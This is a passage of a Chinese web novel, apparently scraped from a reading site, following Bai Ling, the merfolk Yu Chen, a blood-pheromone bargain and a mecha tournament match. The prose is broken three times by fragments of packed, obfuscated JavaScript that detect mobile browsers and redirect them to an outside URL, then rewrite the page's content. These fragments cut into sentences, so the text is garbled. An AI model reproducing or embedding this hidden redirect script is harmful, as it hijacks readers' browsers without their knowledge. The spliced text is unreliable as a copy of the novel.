但小破鸟偏偏选择了单刀直入,捅破窗户纸。 白翎想要的,只是一个答案。 郁沉:“我的确是alpha,但这并不会对你造成威胁。因为你足够强,AO性别差异在你面前不算什么问题。” 说的没错。白翎瞥了他一眼。 伊苏帕莱索挑配偶的眼光,确实独到。 白翎之前只知道老皇帝怪癖多,但还不知道那家伙居然搞AA恋? 不过,站在权力巅峰的人,脑子多少都有点毛病,找个漂亮alpha满足自己没有边际的征服欲,的确比娶个柔软娇弱O爽太多。 如果是白翎,他也会这么干! 而且,老皇帝是腐烂种人鱼,应该长得奇形怪状,丑陋不堪,否则也不会执政127年,从未公开露过面。 关于这一点,还有个广为流传的故事。说是一位国宝级画师想创作国庆献礼,见到了皇帝本人,当场就吓趴下了,回去之后更是神志不清,逢人便说“不敢置信”。 画师就这么疯疯癫癫了一年,交了作品后,宣布封笔。 这一下,便把老皇帝地狱恶鬼长相的传言,彻底坐实了。 所以,面前这只叫郁沉的人鱼,肯定是伊苏帕莱索搞来改善自己后代基因的。 就是不知道,这家伙能不能生…… 白翎瞄向郁沉的小腹,都是饱满的腹肌,自己以前摸上去也没摸到痕迹诶…… 什么乱七八糟的。 白翎面色一冷,立即把念头驱赶出去,重回冷静。既然人鱼认错态度还算端正,他可以给个机会。 当然,手里的枪要握得牢牢的。 郁沉细心察觉到枪口有些晃动,猜测白翎握得有点手酸,正在谨慎地一根一根松松手指,便建议道: “你可以把枪管搭在我的颈部动脉上,威胁力一样,也能省点劲。” 白翎微微一怔,若有似无地冷哼了声:“我还是头二次见到这么配合的俘虏。” 郁沉掀起眼皮,忽然问:“头一次是谁?” 白翎撇撇唇:“还能有谁,当然是站在露台上的你。” 都是我。郁沉不由得弯了弯眼睛,露出会心的笑容。 白翎凉凉地说:“你要是喜欢坦诚,那我们就各退一步,互问三个问题。” 说完,他也不等郁沉答不答应,直接开始问:“第一个问题,‘郁沉’到底是不是你的真名?” 枪口移开,重新抵在郁沉颈窝。 郁沉被金属感凉了下,却没有躲,而是流畅回答: “是真名,确切来说,是我从人鱼语翻译过来的人类名字。我的胎名是未出生前就定好的,一共有六十三个音节,对人鱼来说是一声类似鲸咏的吟唱,对普通人类而言,会显得太长。” “嗯哼,”白翎还算满意,遂斟酌了下,抛出第二个疑惑:“凯德看你不顺眼,又想逼你交出权杖,你为什么不想办法离开这里?” 不明的情绪从郁沉眸中一闪而过。 白翎以为自己看错了,再去看,郁沉已然眼帘微垂,疲惫笑着说: “我脚下踩着的我的故土,身边走着我的子民,我去哪里都是自欺欺人,这是我的国家,我还能走去哪?不论去哪,都没有区别。” 短短一番话,差点让白翎的表情崩塌。 他忽然心跳加速,死死抿着唇陷入沉默。有一股奇怪而莫名的感觉攥住了他的心脏,似乎是恐慌不安,又像是近乡情怯。 他总觉得,再继续问下去,自己良久构建的认知将彻底毁坏…… 白翎把头扭向一旁,下唇颤颤印着齿痕,突然说: “第三个问题我还没想好,下次再问。” 郁沉转动无焦距的瞳仁,似乎预感到什么,只说了句:“好。” 白翎又问:“你有什么要问我的吗?” 郁沉说:“我也留到下一次。” 白翎轻微扯了下嘴角,是嘲讽也是淡漠。 他并不会告诉郁沉,这就是最后一次,自己再也不会来了。 就这样吧,他已经验证了答案。 枪口移走,白翎毫不留恋地转身走开。 刚靠近门口,侧卧门幽暗地滑过,闭紧,上锁,一气呵成。 白翎回过眸,精致的脸颊笼罩在阴影里,斜睨身后的人鱼,语气中带了危险的威胁: “别弄得太难堪,把门打开。” 那条人鱼视若罔闻,手指一动,抽出衬衣口袋里的黑色钢笔。 然后,倒空墨水,尖锐的笔头往自己手腕锋利一割。 鲜艳欲滴的血珠立即渗出。 空气中迅速弥漫起颓靡醇厚的木质幽香,犹如沉在海底的庞大巨船,在穿越世纪后零散得被打捞上岸,潮湿的桅杆混合着海藻发酵的腥甜,诡异而醉人。 白翎脑中莫名浮现出这副场景。 很快,他意识到,正在发育中的腺体已经使得自己能隐约闻清alpha的信息素。 如果他再不走,很可能被对方影响,眨眼间就会失去意识,遵循本能,像个得了软骨症的鸟一样紧贴上这个混蛋alpha! 那条人鱼沉默着站起身。 白翎眼皮一颤,心率一路飙上了100。 他强迫自己冷静,迅速将环境尽收眼底,大脑加速计算合适的攻击角度和逃跑路径。 他有武器在手,但这不意味着,他自大到能以为自己碾压得了人鱼恐怖的肉身素质。 子弹一旦打完,他就是对方的口中食,腹中肉。 白翎胸膛起伏,控制不住地想起那两枚深深印进义肢的指纹。 该死的混蛋人鱼! 白翎用力扣下扳机,每一枪都冲着人鱼的膝盖去。 只要对方能丧失行动力,哪怕只争取到十秒钟,都足够他跑进浴室,掀开窗户逃出去。 然而,那条刚才还温顺迟缓的大鱼,此刻身形灵活如水中鬼魅一般。 子弹打出的速度,在人鱼的感官触觉里,仅如射进海水不断降速的箭矢,慢得伸手就能攥住。 白翎一枪也没有打中。 他暗骂一声,顾不上对方的表情此刻有多阴郁,闪身躲进浴室,一脚踢上门,立即扑向唯一的逃生窗。 游隼是3S级的敏捷。 可惜放在进化了上万年的第一批纯血异种人鱼这里,还是不够看。 白翎很快就亲身体会到了什么叫等级碾压。 浴室门飞撞到墙上,碎片四溅。 白翎眼前一花,根本没来得及看清,就已经肩膀一痛,被一只青筋暴起的手瞬间摁住,几乎是钉死在墙上。 胜负已分。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|11859726|126372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 白翎惨然笑了笑,他开枪的那一刻,就已经做好了被人鱼撕碎做成标本的觉悟。 人鱼苍白有力的长指,再次捏上他的下巴。 这一次,没有了往日的温柔,而是几乎急躁地用上了力道,往他嘴边送—— ……嗯? 白翎惊疑着低眸去看,那条突然狂暴的人鱼抓住了他,并没有像捏碎小鸡仔一样捏烂他,反而把涓涓流血的手腕,死死贴在他唇畔。 “喝下去。” 人鱼的声音磁性而疲惫,隐隐约约听上去,有一丝不易察觉的落寞。 “你可以离开,再也不回来,但我的信息素等级对你来说太过了,强行戒断会伤害你的身体。” “你可以喝我的血,从血液里摄入足够的信息素缓解成瘾,再在三个月内逐步递减用量。等你分化完成,就能和我彻底断绝联系。” 白翎呼吸瞬间停滞了下,飞快地抬眸看了看郁沉的脸,想找出一丝说谎的痕迹。 可是上面除了一片淡然,就只有浓浓的倦累。 “快喝吧,别浪费了。” 这句话仿佛有某种魔力。 白翎以前去奶车前打奶的时候,机器人也总会这么提醒大家:快趁热喝,别浪费。 大抵像他这样的底层野狗,不论什么时候都无法直视水龙头流着不关,也无法放任珍惜昂贵的高等级alpha血,白白嘀嗒到瓷砖上,顺着沟渠流入下水道。 所以,他鬼使神差地凑上去,贴紧唇,像赠予一枚吻那么慌乱又谨慎地偷瞄人鱼一眼,再舔了舔对方滚热的伤口,开始了细心的嘬饮。 太奇怪了…… 为什么事情会进展到如此地步,他究竟漏算了什么呢? 白翎的嗓子里涌动着鲜甜的血,传说人鱼血原本就是精力之源,可以用作魔药。 他吃进肚子里,确实感觉身体的酸痛被迅速驱走,可仔细一品,却从舌畔尝到了沉淀的哀伤…… 伤口渐渐开始愈合,郁沉见他迟疑,毫不犹豫又划了一道新的。 白翎看得心头颤颤,忍不住说:“别弄了,我喝够了。” 郁沉没做什么表情,只是交待他:“以后每周过来拿一次信息素提取液就好,不必来见我。” 人鱼又转头望了他一眼,那一眼,恍然间让白翎有了对方没有瞎的错觉。 “你可以走了。” 郁沉如约定般放了手。 白翎试探性往前走了两步,再扭头警惕地观察。 那条人鱼站在一片废墟残片里,脚下的影子被浴室的冷光灯照得孤独而扭曲。 他像一座被抛弃倾倒的雕塑,伫立在原地,神情沧桑与麻木。 白翎跨过烂掉的门,走出浴室,侧卧的大门果然自动打开了。 只需要再往前走两步,他就能彻底恢复自由,和欺骗自己的人鱼说永别。 可是某一瞬间,他心中涌现莫名的情绪。 仿佛是罗德的妻子逃离罪恶的索多玛之城时,听到熊熊燃烧噼啪摧毁的城市在低喃。 白翎也控制不住回过了头。 在圣经里,罗德的妻子没有听天使的话,回头望了一眼罪恶之城,便变成了盐柱,永远立在路上。 而回眸的白翎,也目睹了那条人鱼的昏迷与坠落,瞬间僵在原地。 当白翎动作快过大脑冲回浴室时。 有一道念头,轻轻告诉他—— 他将陷入魔鬼的漩涡,永世沉沦其中。 23. 分化期情绪反常 白翎最终还是走了。 他把虚弱昏迷的人鱼交给AI,小机器人熟练地料理一切,期间还安慰他: “没吓坏你的机芯吧?主人是这样的,经常会突然掉线,也就是人类说的大脑断片。别怕,他睡个几天就能重启了。” 白翎沉默着点点头,一路魂不守舍,回到宿舍区。 上床之前,需要换下长裤。 口袋里鼓鼓囊囊的,他随手掏了一把,摸出了人鱼的小羊皮手套。 白翎定定看了两秒,突然拉开抽屉,把它丢进了深处。 接下来的三天,他在皇宫正常地进食、上课和训练。 食堂里—— “啧,你看起来心情不太好,和监护人吵架了?”萨瓦端着堆成小山的餐盘落座。 “没有,他不是我的监护人。”白翎眼睛都不抬,继续喝汤。 看他说得如此笃定,萨瓦和诺思对视一眼,脑子里不约而同浮现出概念: 【分化期情绪反常综合征】 情绪越反常,下蛋越凶猛。 白翎不关心室友在隔着桌子挤眉弄眼些什么,他吃完这顿清汤寡水的例餐,还有更重要的事要做。 今天早些时候,他收到了响尾蛇的通知。 [响尾蛇]:Master,今天是实验第一天。我已经把自己从社团开到公司了,下午三点,我在0号展厅等你。 白翎看到这条消息时,有种如释重负的感觉。 不管怎样,他可以暂时把自己剥离出来,投入到更纯粹的机械里。 萨瓦忽然拍拍白翎,看起来很急:“能不能帮我收一下盘子,我去接个通讯。” 说完,萨瓦着急忙慌跑出去,不见平日的跋扈,反而一脸无奈。 白翎:? 天要下红雨了吗,谁能把这家伙治住? 萨瓦刚接起通讯,那边就炸了锅:“你快来接我回去,他们摸我的腿骚扰我!!杀杀杀杀杀杀杀杀!” 萨瓦头皮发麻:“……你没跟他们动手吧?” “目前还没有,可明天就说不定了。要不是你签的那个劳什子合同,我至于受这么大委屈吗?呜呜脚后跟都要被人摸包浆了。” 萨瓦扶额:“可你是展示机甲,放在展厅最显眼的位置,肯定要被人围观的啊。” “杀杀杀杀杀!我不管,隔壁的小妞就有玻璃罩子,我也要!” 与此同时,在0号展厅里,响尾蛇的罩子被敲了敲,一只帅骚拉风火焰色涂装的机甲跑过来问: “喂,漂亮小妞,你的罩子是从哪弄的?” 响尾蛇冷酷回答:“我自己从家带的。” 火焰机甲:“你怎么还用尾气充气球卖?” 响尾蛇:“我Master缺一条腿,我卖气球补贴家用。” 火焰机甲十分感动,转头蹲墙角通知自己的Master: “我要去那个妞挤一个展台,和它一起去儿童区发气球了,拜拜我去喽!” 萨瓦:“等一下你是武器区的模特啊!!Girrrrrrrl!” · 陆家是著名的佣兵世家。 陆老爷子当了大半辈子的工会副会长,自然希望儿子能继承衣钵,在机甲一业上出人头地。 然而,儿子积极性是上来了,魂儿也弄丢了,整天满面红光,眼里直飘桃花,看得陆老爷子心里打了个突。 他是不是也该考虑儿子的终身大事了? 陆家没有雌性家眷,陆老爷子拉不下脸,于是这个重要的任务就落在陆鲟的堂哥——陆航身上。 这一日,陆航从军队回来休假,顺势把弟弟叫到跟前,开门见山问他到底看上谁了。 陆鲟嘿嘿一笑,交代了来龙去脉。 不料陆航拧起眉头:“猛禽?绝对不行。” 陆鲟急忙解释:“哥,你不要误会,白零不像皇帝亲卫队那些贵族鹰隼那么目中无人。他虽然当众秒了我,但人很好的。” 陆航语重心长:“我不是质疑他人品,我意思是……小鲟,咱没有金刚钻,就别去揽瓷器活,养鹰翻车被啄了眼的例子还少嘛?” “你要不信,我可以跟你说,我们深空机甲团今年才发生一起事故。” 陆鲟:“也是猛禽?” 陆航点头:“对,入伍5年的老兵。他刚开始分化就被军团少将看上了,那家伙想潜规则他爽一把。” “可惜这只鹰脾气倔得要死,军靴狠狠踩着少将A的大腿骨,朝他裤.裆连开三枪,砰砰砰,好家伙,那玩意都碎成肉泥了吧。” 好凶啊! 陆鲟听得浑身不住冒汗,代入了下,自己下半身都幻痛了。 陆航严肃道:“这还不算,他炸了基地的军火库,理由嘛,因为那个少将没收了他的机甲,拉去废品站压成了废铁。” 陆鲟沉默了,他是alpha,前面被骚扰的事无法共情,但是当面砸毁机甲这种事,没有一个驾驶员能轻易原谅。 机甲是他们的第二条生命。 这个少将活该! 陆鲟义愤填膺问:“少将这么恶毒,肯定被抓起来判刑了吧?” 陆航摇摇头,叹了声气:“没有,他还升官了。反倒是那只鹰,被判了死刑。” 陆鲟听完这个故事,久久无法释怀。 他想起小白毛的断腿,更觉得鹰隼是骄傲又易折的生物,需要好好保护。 特别当他听到狐朋狗友打通讯来说:“陆少,我看到你男神的机甲在卖气球,好可爱哇。” 陆鲟:“什么?那么可怜的!” 朋友:“?” 陆鲟立马赶到现场,宣布:“全场的气球由我陆公子买单。” 响尾蛇默默打开行李舱,掏出两麻袋没充的气球,亮出收款码。 陆鲟:“……” 认命付钱。 一只火焰纹机甲忽然冒出来,挎起响尾蛇的机翼:“走,请你吃冷却液冰淇淋,三个球那种,刷我Master的卡。” 陆鲟眼睁睁看着冷冰冰的响尾蛇被拽跑了。 他泪目地想说,我也可以请吃三个冰淇淋球哇,给个机会让自己刷点好感度行不行…… 真气人! 这个火焰机甲到底是谁派来的,难不成是新情敌? 陆鲟立马转悲愤为力量,派人去查火焰机甲背后的主人。 哼,管他是谁,再横还横得过自己这个佣兵世家嘛。 传回结果—— 【涂装:暗夜磷火】 【注册名:托勒密】 【驾驶员:萨瓦二世】 朋友:“……喂陆少你清醒一点啊,那可是老贵族雕鸮家族,全帝国最凶恶的主,千万别去抢食啊啊!” 另一朋友:“托勒密?!上届机甲格斗世界杯冠军的那个托勒密?” 陆鲟顿时压力山大,硬着头皮说:“上,上届而已,我未必就不行。正好这届预选赛刚开,我现在就去报名。” 他们来的这片展厅,隶属帝国资金最雄厚的老牌航空军武集团——戈耳工设计局。 每届机甲格斗世界杯,戈耳工都是最大赞助商,因而场馆内就近设有报名处。 陆鲟拉着一群朋友报完名,忽然眼前一亮,人群中那抹清丽的白发,不是白翎是谁。 “你也来报名吗?报了哪一段位?” 白翎专注盯着报名条件:“还没想好。” 机甲赛和古地球的世界锦标赛规则差不多,报名也是有门槛的,不是谁都可以进。 参与者必须满足三个条件: 1.一年内参加过个人/团体比赛,积分100点以上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|11859727|126372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 2.通过全套体检。 3.报名费5万星际币。 陆鲟建议道:“以你的实力可以直接上3000分段没问题,你现在积分多少?” 白翎:“零。” 陆鲟擦汗:“……啊这,现在找人刷分也来不及了,要不四年后再战?” 白翎的目光移到了正中央,上面写着:冠军奖励300万星际币。 这笔钱不多不少,正好够他买一架二手小型飞行器,让他解决掉暴君后,把响尾蛇打包装着,安全逃往野星。 他需要钱,越多越好。 长远来看,今后建设基地,整用装备,招兵买甲,用钱的地方太多了。 他上辈子搞革命,有大半精力都耗在筹集经费上,仗打得再漂亮,后勤弹药跟不上,也让人苦恼。 如果这次比赛,能拉到几个赞助商就好了。 “胡老师来了!” “上届的前八强也来报名,看来这次比赛高手云集,有的看了。” “胡兀鹫好像拿到了四大军武商的赞助诶。” “四大军武……是戈耳工设计局吗?激动!” “无知,戈耳工前身可是帝国国家武器制造局,跟所谓的四大根本不是一个级别,压根看不上个人佣兵。你见过央妈给私人打广告的吗?” 一群戈耳工集团的粉丝,七嘴八舌说开了。 白翎没在意戈耳工,反倒在琢磨怎么在报名截止前弄到积分。 另一边,被簇拥的胡兀鹫趾高气扬地来到柜台,张口就喊:“我报最高段位,3000段。” 前台满脸笑容:“好的胡先生,3000段需要基础积分200点,请出示您的禁制环数据。” 随着滴一声,旁边人都凑过去看,却纷纷脸色一变,尴尬起来。 胡兀鹫就是来走个形式,他这一年来大大小小比赛刷个遍,积分早就过500了。 可发现气氛不对,他赶紧低头看,这一看,差点心肺停止。 “199点?!绝对不可能,一定是机器出问题——” 胡兀鹫正要拍桌子,突然脑中一闪,想起一件事来。 上个月,他监护的那只omega被配偶家暴了,向他求救,他当时沉迷打游戏没有理会。后来他就收到了本月监护评分,只有1.2。 众所周知,监护人评分和各种社会信用点直接挂钩。 胡兀鹫阴暗地咒骂一声,这小婊.子真无情,害他被倒扣一大半积分! 不过胡兀鹫到底是老油子,立马就想到,自己可以在现场随便找个人开启个人局比赛,只要连胜三场,就能拿到10积分。 这样一来,既能满足报名条件,又能扳回面子。 胡兀鹫眼睛扫视一圈,停在最弱的一个人身上。 “小友有没有兴趣和我切磋一下?”胡兀鹫挂着笑容,拍上白翎的肩膀。 白翎的禁制环: 【检测到alpha访问!肢体接触4级!正在将数据传递……】 与此同时,人鱼的栖息地。 犹如古老兽类盘踞的洞穴,寝宫中四处弥漫着发酵海藻的香气,穿堂暖风一吹,带来枯草静静燃烧的味道。 角落里袅袅升腾着不知名的安神香。 嗡嗡,嗡嗡,电子声高频震动。 黑色皮草顺着精干的躯体线条绵延起伏,毛尖润亮,忽然,从厚密皮草里伸出一只雕刻般流畅的手,手指苍白地摸到终端,缓慢移到耳边。 【数据刷屏警告!您的omega正以每分钟三次的频率与alpha进行4级密度肢体接触,请问是否强制监护?】 【Yes/No】 人鱼疲惫地苏醒,手掌撑着前额,强迫自己坐起身,森绿瞳眸泛起血丝: “……把乌利尔叫来!” 24. 找个有钱后爹 有乌利尔这个高级工程师在,根据信息来追踪定位,简直不要太容易。 乌利尔放出微型摄像机,金色小球扇着小翅膀钻进展厅,聚焦到中央,画面放大—— “这不是我那个小白毛试驾员嘛?!” 郁沉心中一动。 小鸟三番五次走水道偷跑出去,他早就隐约猜到什么,现在坐实了猜想,反而安定许多。 左右飞不出他的掌控范围,不会出乱子。 郁沉隔着视频,循声向乌利尔瞥了一眼。 明明对方看不见,乌利尔却感觉心理阴影陡然增大。 郁沉淡淡强调:“不是你的,是我的。” “……好的。” “接下来你负责解说。” “我?啊,可我只是个机甲工程师!解说什么的——”乌利尔偷瞄了眼叔父的脸色,极有求生欲地挺直腰: “……应该,hold得住的。” 事实证明,术业有专攻,不行莫强求。 乌利尔硬着头皮,拿出早就丢给小学语文老师的水平描述了对战场地,就偷懒操纵摄影机,找了个话唠的围观群众,实时转播。 话唠的陆鲟:“响尾蛇0号机进场了!不愧是实验机,深灰蓝涂装自带雷达隐形,线条干净又漂亮。” 乌利尔松了口气,很好!说得不错。 陆鲟:“出现了,单手侧蹬三步上机甲,我男神好美好帅!好希望被蹬的是我……” 郁沉:“……” 乌利尔:“……” 要不咱还是换台吧? 个人赛消息一出,场地旁站满观众。 胡兀鹫正在做热身运动,显得成熟老练。 他是结实强壮的鹰形目,主打重装机甲,打眼一看,对面小年轻开着轻量甲,顿时就摸着胡须笑了: “友谊第一,比赛第二。我是‘胡天胡地’,敢问小友圈名?” 佣兵圈许多人不愿意暴露真实姓名,互道圈名也算一种习俗。 白翎当然也有固定名号。 不过他扫视场畔,眼尖发现六七个隐藏摄像机,想想隔壁展厅也有不少参展的小厂家,比如卖喷漆,雨棚,真皮内饰的,说不定就有潜在赞助商闲的没事在看直播呢? 白翎:“你好,我叫‘旺铺招租’。” 围观群众:“???” 正在打牌听直播的一群老板愣了下,噗嗤笑出声。 胡兀鹫则面部僵住,嘴角抽搐。 ……荒谬!现在的年轻人也太不矜持了,把野心写在ID上,还怎么得到高端厂家的赏识? 就算有,吸引来的肯定也是不入流的小厂! 三分钟后,比赛准时开始。 “铛铛”鸣钟一响,胡兀鹫瞬间把油门飙到极致,以一种速战速决,势必一击碾碎对方的狂暴,直接开炮轰向【旺铺招租】。 “轰隆——” 灰烟散去,地面凹陷出三米巨坑。 观众欢呼:“胡天胡地!胡天胡地!” 胡兀鹫嗤笑着去看,却眼皮一跳,发现坑底空无一物,他头皮紧麻迅速转身格挡。 “镪!” 下一秒,【旺铺招租】直接一个俯冲,手中的光刀挟带巨大无比的重力势能,砸进【胡天胡地】脊甲缝隙,居然是想像撬龟壳一样,卸掉敌人装甲! 胡兀鹫在驾驶舱恼怒嘶喊:“天真!” 他抬手近距离轰炸白翎脖子,对方敏捷一闪,胡兀鹫马上腾空跃起。 没想到这个残疾断腿这么难缠,五分钟过去了,他一枪没命中。 但轻量机就是战场脆皮,再拖久一点,【旺铺招租】绝对扛不住。 胡兀鹫心一狠,索性拿出看家本领—— 陆鲟瞳孔紧缩:“坏了,【胡天胡地】要发射硫酸必杀技,这个老毕登!说好的友谊第一呢?” 刚说完,铺天盖地的硫酸炮弹化为一张无处可逃的大网,就要朝白翎罩下。 胡兀鹫的粉丝得意说:“老胡这招一出,机甲不爆炸也会重度腐蚀,再漂亮的涂装也白瞎咯。” 响尾蛇驾驶舱内。 控制器疯狂刷屏警告,响尾蛇声音冷酷而紧迫:“Master!计算躲避概率正在下降,我们有80%几率必须扛过硫酸雨,请你抓好扶手!” 白翎忽然说:“响尾蛇,你相信我吗?” 响尾蛇毫不犹豫:“当然,Master。” 白翎灰眸凛然:“立即切换手动档。” 敢给我家机甲泼硫酸弄坏它的脸?活腻歪了。 响尾蛇虽不明白他的意图,但这一次,它选择抛弃运算,相信自己的直觉—— ……诶?人工智能也会有直觉吗? 响尾蛇让出操作权限,只见白翎细长如爪的手指在面板上下翻飞,眼睛高速读取数据,俨然精准运行的机器。 那稳定的态度不知哪里戳到了响尾蛇的油箱,响尾蛇突然轰鸣起引擎,也认真咆哮: “杀杀杀杀杀!!” 白翎:? 谁带坏了我家小姑娘的语音库? 此时,举着两只冰淇淋蛋筒的托勒密,无辜路过。 托勒密找不到响尾蛇,就来后场转转。忽然,它摄像头闪过一道光,兴奋打开录像模式。 太妙了,这可是它从未见过的身法! 机甲飞行理应走弧线,可是响尾蛇现在居然在飞笔直的折线。 它以不可思议的角度,一次又一次卡着硫酸弹擦过,最终帅气尾烟刺破大网,转身一个漂亮扔刀,正中胡兀鹫机甲额心。 胡兀鹫一拳砸在驾驶台上。 以他的经验,再打下去大概率是自己输。与其在报名之前就丢了前八强的名声,成为笑柄,不如及时止损…… “很精彩,小友,我们就此点到为止可好?” 白翎根本不废话,上去就是一刀,秒了。 胡兀鹫后甲直接掀飞上天,掉进自己的硫酸液,彻底损毁。 裁判:“胜负已定!【旺铺招租】赢下本场个人赛,获得积分200点。” 响尾蛇灵巧地飞了一圈来庆祝。 如果观察其轨迹,就像极了一只看不见的手,以天空为白纸,以机甲为硬笔,尾气在广袤蓝天留下铁划银钩的庞大笔迹—— 【广,告,位,招,租】 观众们:“……有赞助商吗?看看孩子吧,多努力啊!” 这时,乌利尔正好从公司后楼赶到,由衷道:“严格意义上的第一次胜利,很不错。” 白翎刚出舱,还没转过弯来:“他打赢我不是10积分吗,为什么我能得200点?” 乌利尔:“这个啊,因为你有新手保护期加成,挑战成功比你积分高的选手,直接积分翻20倍。” 白翎义正言辞:“可是我刚研究规则,并没有这一条。” 乌利尔暗中擦汗,表面正经解释:“比赛嘛,上层对规则朝令夕改是常有的事,你还不懂他们那群老贵族吗?” 白翎表情一怔,也不知道想起了谁,撇撇唇道:“也是。” 乌利尔遂带着白翎去报名。 白翎余额不够5万,准备从黑市银行借点高利贷,下个月再还。响尾蛇却发信息给他: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|11859728|126372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “Master,我这里有三千,你拿着。” 白翎愣了愣:“你从哪弄来的……你——” 他忽然说不出话来了。 白翎想起上辈子死前那几年,他器官衰竭,被迫从一线退下,只能独自挣扎,靠卖点小东西艰难度日。 他们时常去地铁站前卖水,卖伞,还有气球…… 他,和响尾蛇。 响尾蛇看起来冷酷,其实是个有感情的AI,它喜欢花,喜欢色彩斑斓的东西。白翎拖着病体去市场进货,它便甘愿充当一辆货车。 他俩一起把驾驶舱和行李架用廉价气球塞得满满的,响尾蛇很高兴,它说:“我的肚子里有好多彩色泡泡。” 那一天,外面下着暴雨,人们四散逃离,白翎一把伞也没卖出去。他一瘸一拐浑身湿透地跑回街边,第一件事不是爬上驾驶舱躲雨,而且着急给响尾蛇拉上塑料雨披。 风很大,白翎觉得自己这身破空烂铁都要被吹散了。 他听到响尾蛇在说话。它也老了,总有修不好的地方,扬声器沙沙地响,它说: “我想哭,我很想哭,可是流泪是人类才有的举动,我可能坏了,也许是冷凝管在滴水。” 响尾蛇伸出残旧的机翼,搭在白翎头顶上方,努力给他遮风挡雨。 白翎的小腿没入冰冷雨水,站在街边,替它流了许多它无法流的眼泪。 英雄应该在最辉煌的时候坠毁,而不该无名地倒在街边。 跟他出生入死无数次的响尾蛇,尤其如此。 所以这一世,绝对不能重蹈覆辙。 得给我家的小姑娘,找个有钱后爹…… “不用担心报名费,这笔钱,戈耳工设计局已经给你们出了。”乌利尔安慰道。 白翎转过头,略有狐疑:“我是和你工作室签的实验合同,没有和戈耳工签,他们为什么要帮我付钱?” 乌利尔:“咳,其实戈耳工也算我大老板……总之别担心钱的问题就好。” 他总不能说,我们大老板看上你了,想独占你所有广告位…… 乌利尔顺势把话题引到实验上,带着白翎去工作室。 白翎随口问他最近忙不忙,乌利尔感叹道: “何止是忙啊,马上要开机甲世界杯,各种场务,维修师,救助员都被抽调,我也经常要跟着公司团队调试数据。” “对了,你有没有推荐的维修师傅?我们这儿正缺人。” 机甲圈里,消息最广的就是驾驶员了。 白翎想了想,给他写了一张名单,上面全是他以前革命用过且靠谱的人。 乌利尔搓了搓手,得寸进尺道:“有播音员或者解说之类的人才吗?” 白翎:“?大赛直播台不是有解说员吗?” 乌利尔不敢说这是自己额外加的。大老板嫌弃他解说太干巴,不能体现出你战斗风采的十分之一。 这件事暂且搁下,因为乌利尔还得抓紧时间对白翎进行二十组测试,再进行上千条项目分析。 一通实验做完,已经夜幕降临。 白翎精疲力尽,开着响尾蛇三百个大跳做完,义肢早没电了。 乌利尔满意地看数据:“今天就到这里为止。” 然而刚走出门,报名处那边来了通讯,说白翎提交的体检表数据太糟糕,不建议他参加比赛。 白翎冷冷问:“如果我一定要去呢?” 报名处为难地说:“那只能由您alpha监护人的亲自前来,在本处签署《责任自负同意书》。并且……” “截止日期,是明天上午九点。” 25. 人鱼的宝贝 一小时前,郁沉收到乌利尔的消息: “小白毛缺少监护人同意书,可能没办法参加比赛了。” 郁沉漫不经心转着戒指,问:“哦?他怎么说?” 乌利尔犹豫道:“他说……会换个监护人,不论谁都可以,大街上临时找一个就行。” 郁沉垂下无焦点的眸子,眼底洇起暗澜,缓慢道:“他人呢?让他过来和我说。” 乌利尔脊背莫名颤栗,下意识弯腰行礼:“他已经走了,您需要我派人叫他回来吗?” “不用了。” 乌利尔愣了下,没料到他的回答这么果断。 “让他走吧。”郁沉默然一会,挂断了通讯。 他缓步走下台阶,肌理分明的长腿没入冰冷池水,明暗交界的光线给他的五官笼上一层阴翳。 不论谁都可以…… 他反复嚼磨着这几个字。 宁可去大街上捡劣质货,也不愿意回来跟他张个口。 倔脾气的流浪野狗,想跟在别人脚边乞食……真该把人抓回来按到池子里,狠狠清洗干净,从里到外,喂到干呕为止—— 门口冒出两点红光,AI悄无声息滑进来:“您有吩咐?” 郁沉思绪被打断,嗓音冷淡,在浴池高耸的穹顶回响: “取我的血,制作信息素提取液。” “您稍等,我去楼上取针管和量筒下来。” AI走后,这里重新陷入一片死寂。 人鱼向后靠在大理石池壁,起伏精健的腰背抵着破碎的冰渣,池水很冷,在没有开加热棒的情况下结了一层薄薄的冰。 他习惯用低温刺激大脑清醒。 但这一次,他心里的躁郁没有减轻半分。 刚才的情绪,很不对劲…… 他似乎对长久以来守护的东西,发酵出了变质的感情—— 这三天里,郁沉反复做着同一个梦。 人们对伊苏帕莱索的厌恶,并非全无道理。 他的控制欲强得恐怖。 人鱼的脑波可以融入网络信号,当他从18岁登基开始,发现自己坐在寝宫就能严密监视整个帝国,野心便膨胀得无边无际。 大地化为他的身体,摄像头变成他的眼睛。 伊苏帕莱索无处不在。 于是,他窥见了许多不堪的事实。在社会的缝隙里,仍旧污水横流,连拨给学生买牛奶的款项,都能被官僚层层剥削,吞噬干净。 那时候的皇帝很年轻,还有一些天真和直莽。 